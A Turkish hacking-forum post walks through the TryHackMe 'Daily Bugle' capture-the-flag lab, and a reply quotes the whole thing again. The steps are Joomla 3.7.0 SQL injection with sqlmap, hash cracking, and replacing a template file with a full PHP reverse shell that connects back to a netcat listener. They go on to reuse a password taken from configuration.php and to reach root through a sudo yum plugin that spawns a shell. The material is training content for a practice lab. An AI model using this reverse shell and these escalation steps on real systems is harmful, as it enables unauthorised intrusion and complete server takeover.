TryHackMe | Daily Bugle Ctf Çözümü

GökBörü.

Uzman üye
20 Haz 2021
1,813
1,048
Kara Harp Okulu
9x1hxd2.png


TryHackMe | Daily Bugle

Merhaba TürkHackTeam Ailesi
Bugün Sizlerle TryHackMe'de Bulunan Daily Bugle CTF'ini Çözücez Bu sayede Yeni başlayan Arkadaşlarım Olayın Mantığını Anlaması Adına Güzel Bir Çalışma Olacak Fazlada Uzatmadan Geçelim.

CTF Linki:TryHackMe

Seviye:

rhd6fbi.png


f4j1r6w.png


Task 1 Deployd and Get Hacking
tfsarv2.png


İşlemimize Nmap taraması ile başlıyorum.

rekmkni.PNG


Sonuçlarımız bu şekilde 80 portumuz açıkmış gördüğünüz gibi bi girip bakalım

5c6uy2v.PNG


1.Bankayı soyan kişiyi soruyor

Cevap = Spiderman

Task 2 Obdatain user and root

1.Sorumuzda bizden joomla versiyon numarasını istiyor Joomscan aracı ile bakalım burda hem versiyon bilgilerini vericek hem başka bilgileride

qb1xhk8.PNG


Cevap = 3.7.0


Dizinleri incelerken robots.txt kısmına göz attım lazım olur diye not aldım onuda


e00x8yl.PNG


2.Soruda bizden Jonah'ın kırılan şifresini soruyor

burda sqlmap kullanıp bulmaya çalışıcaz

burda sql açığını nerden buldunuz dersenizde

terminalde searhsploit joom 3.7.0 diye aratınca çıkıyor zaten sql açığı olduğu


17kskvu.PNG


sqlmap ile tarama işlemimize geçip şifreyi bulmaya çalışalım

jpaud7g.PNG


databaselerimiz çıktı gördüğünüz gibi

sonra joomlayı taratıyoruz

3swev8c.PNG


buranın içerisinde users diye kısım çıktı oranın resimlerini alamadım çok uzundu

sonra orayıda tarattıktan sonra kriptolu şifre karşılıyor bizi

z5yonak.PNG


Kullanıcı adı jonah kırdığımız hash spiderman123

şifremizi kırdıktan sonra admin paneline girelim

bu portu dinlemeye alalım
Kod:
rlwrap nc -nlvp 4444

pyb6s5a.PNG


oraya girdikten sonra index kısmına geliyoruz orayı php reserve shell ile değiştirmemiz lazım

cd1kehk.PNG


PHP:
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 [email protected]
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at [email protected]
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
    // Fork and have the parent process exit
    $pid = pcntl_fork();
    
    if ($pid == -1) {
        printit("ERROR: Can't fork");
        exit(1);
    }
    
    if ($pid) {
        exit(0);  // Parent exits
    }

    // Make the current process a session leader
    // Will only succeed if we forked
    if (posix_setsid() == -1) {
        printit("Error: Can't setsid()");
        exit(1);
    }

    $daemon = 1;
} else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
    // Check for end of TCP connection
    if (feof($sock)) {
        printit("ERROR: Shell connection terminated");
        break;
    }

    // Check for end of STDOUT
    if (feof($pipes[1])) {
        printit("ERROR: Shell process terminated");
        break;
    }

    // Wait until a command is end down $sock, or some
    // command output is available on STDOUT or STDERR
    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

    // If we can read from the TCP socket, send
    // data to process's STDIN
    if (in_array($sock, $read_a)) {
        if ($debug) printit("SOCK READ");
        $input = fread($sock, $chunk_size);
        if ($debug) printit("SOCK: $input");
        fwrite($pipes[0], $input);
    }

    // If we can read from the process's STDOUT
    // send data down tcp connection
    if (in_array($pipes[1], $read_a)) {
        if ($debug) printit("STDOUT READ");
        $input = fread($pipes[1], $chunk_size);
        if ($debug) printit("STDOUT: $input");
        fwrite($sock, $input);
    }

    // If we can read from the process's STDERR
    // send data down tcp connection
    if (in_array($pipes[2], $read_a)) {
        if ($debug) printit("STDERR READ");
        $input = fread($pipes[2], $chunk_size);
        if ($debug) printit("STDERR: $input");
        fwrite($sock, $input);
    }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
    if (!$daemon) {
        print "$string\n";
    }
}

?>


bu kod ile değiştiriyoruz ve biraz alt kısımda set time limit olan yerde ip adresi yazan yer var orayı TryHackMe'den indirdiğiniz openvpn ip'si ile değiştirip kaydediyoruz.



Şimdi http://makineip/templates/beez3/index.php
bu kısıma gelince hata alcaksınız muhtemelen aldıysanız doğru yapmışsınızdır

burdan sonra resimsiz anlatmaya çalışıcam SS alamadım

dinlemeye aldığımız terminale geliyoruz Shellimizi aldık fakat farklı kullanıcı var ve bizim bu dosyaya giriş yetkimiz yok. İçeriyi biraz kurcalıyoruz ve "var/www/html" içinde "configuration.php" dosyasının olduğunu fark ediyoruz. Hemen okuyoruz.


Kod:
cat configuration.php
<?php
class JConfig {
    public $offline = '0';
    public $offline_message = 'This site is down for maintenance.<br />Please check back again soon.';
    public $display_offline_message = '1';
    public $offline_image = '';
    public $sitename = 'The Daily Bugle';
    public $editor = 'tinymce';
    public $captcha = '0';
    public $list_limit = '20';
    public $access = '1';
    public $debug = '0';
    public $debug_lang = '0';
    public $dbtype = 'mysqli';
    public $host = 'localhost';
    public $user = 'root';
    public $password = 'nv5uz9r3ZEDzVjNu';

şifre en altta gördüğünüz gibi bu şifre aynı zamanda jjameson bu kullanıcıdan gelen şifre

Kod:
su jjameson
Password: nv5uz9r3ZEDzVjNu

$ whoami
jjameson
$ cd
$ ls
user.txt
$ cat user.txt
Flag burası

user flagımızı çıktı gördüğünüz gibi
şimdi sudo -l yapıyoruz


Kod:
root㉿kali:/data/tmp$ ssh [email protected]
[email protected]'s password:
Last login: Sun Jun 14 12:07:53 2020
[jjameson@dailybugle ~]$ sudo -l
Matching Defaults entries for jjameson on dailybugle:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY
    HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
    env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC
    LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User jjameson may run the following commands on dailybugle:
    (ALL) NOPASSWD: /usr/bin/yum


Bize yum dedi gtfobinse gidip orda yumu aratıyoruz ve bize bu bilgileri donduruyor.

fyt9dlf.PNG


Oradaki sudo komutlarını alıyoruz ve terminale yapıştırıyoruz ve muhtemelen root olmanız lazım
Kod:
[jjameson@dailybugle ~]$ TF=$(mktemp -d)
[jjameson@dailybugle ~]$ cat >$TF/x<<EOF
> [main]
> plugins=1
> pluginpath=$TF
> pluginconfpath=$TF
> EOF
[jjameson@dailybugle ~]$ cat >$TF/y.conf<<EOF
> [main]
> enabled=1
> EOF
[jjameson@dailybugle ~]$ cat >$TF/y.py<<EOF
> import os
> import yum
> from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
> requires_api_version='2.1'
> def init_hook(conduit):
>   os.execl('/bin/sh','/bin/sh')
> EOF
[jjameson@dailybugle ~]$ sudo yum -c $TF/x --enableplugin=y
Loaded plugins: y
No plugin match for: y
sh-4.2# whoami
root
sh-4.2# cd /root
sh-4.2# ls
anaconda-ks.cfg  root.txt
sh-4.2# cat root.txt
Flag burası

Dostlar bu ctf'de flagları vermedim bilerek mantığını anlamanız için direk ordaki flagı alıp yapmanızı istemedim benle beraber çözmüş gibi olun

Evet dostlar CTF'imiz bu kadardı başka bir CTF çözümünde görüşmek dileği ile sağlıcakla kalın.



5t36e7x.png





t80h3tn.png
rzc4fde.png






4rybi7i.PNG

"Keskin Feraset ,
~Keramete Nal Toplatır.~
🇹🇷 ~ GökBörü ~ 🇹🇷
 
Son düzenleme:

JohnWick51

Uzman üye
20 Mar 2022
1,866
770
28
9x1hxd2.png


TryHackMe | Daily Bugle

Merhaba TürkHackTeam Ailesi
Bugün Sizlerle TryHackMe'de Bulunan Daily Bugle CTF'ini Çözücez Bu sayede Yeni başlayan Arkadaşlarım Olayın Mantığını Anlaması Adına Güzel Bir Çalışma Olacak Fazlada Uzatmadan Geçelim.

CTF Linki:TryHackMe

Seviye:

rhd6fbi.png


f4j1r6w.png


Task 1 Deployd and Get Hacking
tfsarv2.png


İşlemimize Nmap taraması ile başlıyorum.

rekmkni.PNG


Sonuçlarımız bu şekilde 80 portumuz açıkmış gördüğünüz gibi bi girip bakalım

5c6uy2v.PNG


1.Bankayı soyan kişiyi soruyor

Cevap = Spiderman

Task 2 Obdatain user and root

1.Sorumuzda bizden joomla versiyon numarasını istiyor Joomscan aracı ile bakalım burda hem versiyon bilgilerini vericek hem başka bilgileride

qb1xhk8.PNG


Cevap = 3.7.0


Dizinleri incelerken robots.txt kısmına göz attım lazım olur diye not aldım onuda


e00x8yl.PNG


2.Soruda bizden Jonah'ın kırılan şifresini soruyor

burda sqlmap kullanıp bulmaya çalışıcaz

burda sql açığını nerden buldunuz dersenizde

terminalde searhsploit joom 3.7.0 diye aratınca çıkıyor zaten sql açığı olduğu


17kskvu.PNG


sqlmap ile tarama işlemimize geçip şifreyi bulmaya çalışalım

jpaud7g.PNG


databaselerimiz çıktı gördüğünüz gibi

sonra joomlayı taratıyoruz

3swev8c.PNG


buranın içerisinde users diye kısım çıktı oranın resimlerini alamadım çok uzundu

sonra orayıda tarattıktan sonra kriptolu şifre karşılıyor bizi

z5yonak.PNG


Kullanıcı adı jonah kırdığımız hash spiderman123

şifremizi kırdıktan sonra admin paneline girelim

bu portu dinlemeye alalım
Kod:
rlwrap nc -nlvp 4444

pyb6s5a.PNG


oraya girdikten sonra index kısmına geliyoruz orayı php reserve shell ile değiştirmemiz lazım

cd1kehk.PNG


PHP:
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 [email protected]
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at [email protected]
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
    // Fork and have the parent process exit
    $pid = pcntl_fork();
    
    if ($pid == -1) {
        printit("ERROR: Can't fork");
        exit(1);
    }
    
    if ($pid) {
        exit(0);  // Parent exits
    }

    // Make the current process a session leader
    // Will only succeed if we forked
    if (posix_setsid() == -1) {
        printit("Error: Can't setsid()");
        exit(1);
    }

    $daemon = 1;
} else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
    // Check for end of TCP connection
    if (feof($sock)) {
        printit("ERROR: Shell connection terminated");
        break;
    }

    // Check for end of STDOUT
    if (feof($pipes[1])) {
        printit("ERROR: Shell process terminated");
        break;
    }

    // Wait until a command is end down $sock, or some
    // command output is available on STDOUT or STDERR
    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

    // If we can read from the TCP socket, send
    // data to process's STDIN
    if (in_array($sock, $read_a)) {
        if ($debug) printit("SOCK READ");
        $input = fread($sock, $chunk_size);
        if ($debug) printit("SOCK: $input");
        fwrite($pipes[0], $input);
    }

    // If we can read from the process's STDOUT
    // send data down tcp connection
    if (in_array($pipes[1], $read_a)) {
        if ($debug) printit("STDOUT READ");
        $input = fread($pipes[1], $chunk_size);
        if ($debug) printit("STDOUT: $input");
        fwrite($sock, $input);
    }

    // If we can read from the process's STDERR
    // send data down tcp connection
    if (in_array($pipes[2], $read_a)) {
        if ($debug) printit("STDERR READ");
        $input = fread($pipes[2], $chunk_size);
        if ($debug) printit("STDERR: $input");
        fwrite($sock, $input);
    }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
    if (!$daemon) {
        print "$string\n";
    }
}

?>


bu kod ile değiştiriyoruz ve biraz alt kısımda set time limit olan yerde ip adresi yazan yer var orayı TryHackMe'den indirdiğiniz openvpn ip'si ile değiştirip kaydediyoruz.



Şimdi http://makineip/templates/beez3/index.php
bu kısıma gelince hata alcaksınız muhtemelen aldıysanız doğru yapmışsınızdır

burdan sonra resimsiz anlatmaya çalışıcam SS alamadım

dinlemeye aldığımız terminale geliyoruz Shellimizi aldık fakat farklı kullanıcı var ve bizim bu dosyaya giriş yetkimiz yok. İçeriyi biraz kurcalıyoruz ve "var/www/html" içinde "configuration.php" dosyasının olduğunu fark ediyoruz. Hemen okuyoruz.


Kod:
cat configuration.php
<?php
class JConfig {
    public $offline = '0';
    public $offline_message = 'This site is down for maintenance.<br />Please check back again soon.';
    public $display_offline_message = '1';
    public $offline_image = '';
    public $sitename = 'The Daily Bugle';
    public $editor = 'tinymce';
    public $captcha = '0';
    public $list_limit = '20';
    public $access = '1';
    public $debug = '0';
    public $debug_lang = '0';
    public $dbtype = 'mysqli';
    public $host = 'localhost';
    public $user = 'root';
    public $password = 'nv5uz9r3ZEDzVjNu';

şifre en altta gördüğünüz gibi bu şifre aynı zamanda jjameson bu kullanıcıdan gelen şifre

Kod:
su jjameson
Password: nv5uz9r3ZEDzVjNu

$ whoami
jjameson
$ cd
$ ls
user.txt
$ cat user.txt
Flag burası

user flagımızı çıktı gördüğünüz gibi
şimdi sudo -l yapıyoruz


Kod:
root㉿kali:/data/tmp$ ssh [email protected]
[email protected]'s password:
Last login: Sun Jun 14 12:07:53 2020
[jjameson@dailybugle ~]$ sudo -l
Matching Defaults entries for jjameson on dailybugle:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY
    HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
    env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC
    LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User jjameson may run the following commands on dailybugle:
    (ALL) NOPASSWD: /usr/bin/yum


Bize yum dedi gtfobinse gidip orda yumu aratıyoruz ve bize bu bilgileri donduruyor.

fyt9dlf.PNG


Oradaki sudo komutlarını alıyoruz ve terminale yapıştırıyoruz ve muhtemelen root olmanız lazım
Kod:
[jjameson@dailybugle ~]$ TF=$(mktemp -d)
[jjameson@dailybugle ~]$ cat >$TF/x<<EOF
> [main]
> plugins=1
> pluginpath=$TF
> pluginconfpath=$TF
> EOF
[jjameson@dailybugle ~]$ cat >$TF/y.conf<<EOF
> [main]
> enabled=1
> EOF
[jjameson@dailybugle ~]$ cat >$TF/y.py<<EOF
> import os
> import yum
> from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
> requires_api_version='2.1'
> def init_hook(conduit):
>   os.execl('/bin/sh','/bin/sh')
> EOF
[jjameson@dailybugle ~]$ sudo yum -c $TF/x --enableplugin=y
Loaded plugins: y
No plugin match for: y
sh-4.2# whoami
root
sh-4.2# cd /root
sh-4.2# ls
anaconda-ks.cfg  root.txt
sh-4.2# cat root.txt
Flag burası

Dostlar bu ctf'de flagları vermedim bilerek mantığını anlamanız için direk ordaki flagı alıp yapmanızı istemedim benle beraber çözmüş gibi olun

Evet dostlar CTF'imiz bu kadardı başka bir CTF çözümünde görüşmek dileği ile sağlıcakla kalın.




5t36e7x.png





t80h3tn.png
rzc4fde.png






4rybi7i.PNG

"Keskin Feraset ,
~Keramete Nal Toplatır.~
🇹🇷 ~ GökBörü ~ 🇹🇷
Ellerine saglik. Guzel olmus
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.